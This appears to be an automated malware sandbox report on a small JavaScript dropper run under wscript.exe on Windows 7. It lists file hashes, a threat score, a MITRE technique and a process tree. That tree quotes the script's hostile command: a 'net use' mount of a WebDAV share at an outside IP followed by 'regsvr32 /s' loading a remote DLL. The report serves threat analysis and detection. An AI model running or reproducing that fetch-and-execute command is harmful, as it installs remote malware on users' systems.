d3bd856e01069ec96b0220859ac3e21061f33e01d72352583010307713e572e7

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 06:30

Target

136433201364630101.js
Size

4KB
MD5

eeb63aeda13ebbea7142cc808b220e2c
SHA1

fbeeb6e8107ea467e61e4514d173c833192f51de
SHA256

e240b591f9d73304d0b041044d7649b6d354d2a3dc0cbf1958d4a7f307f2ca0f
SHA512

ce2ccdb929d3370dcad6fd618318779ff80c630381ecc765824d0ed84962d45900302e2cebabfc77c4936bd6ead8abf05aa92d749846a591200441037dd1c6e8
SSDEEP

96:9RDai3TqEuKBl63gS9scPxpwzXuBYhw1GEWh3DCf3cdplWcdqlTiy30wSxcdilOI:rzGjRYbEIIyAkznEIIyH

Score

3^/10

execution

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 2780	1848	wscript.exe	31
PID 1848 wrote to memory of 2780	1848	wscript.exe	31
PID 1848 wrote to memory of 2780	1848	wscript.exe	31
PID 2780 wrote to memory of 2772	2780	cmd.exe	33
PID 2780 wrote to memory of 2772	2780	cmd.exe	33
PID 2780 wrote to memory of 2772	2780	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\136433201364630101.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\260412418013593.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2772

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

JavaScript

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact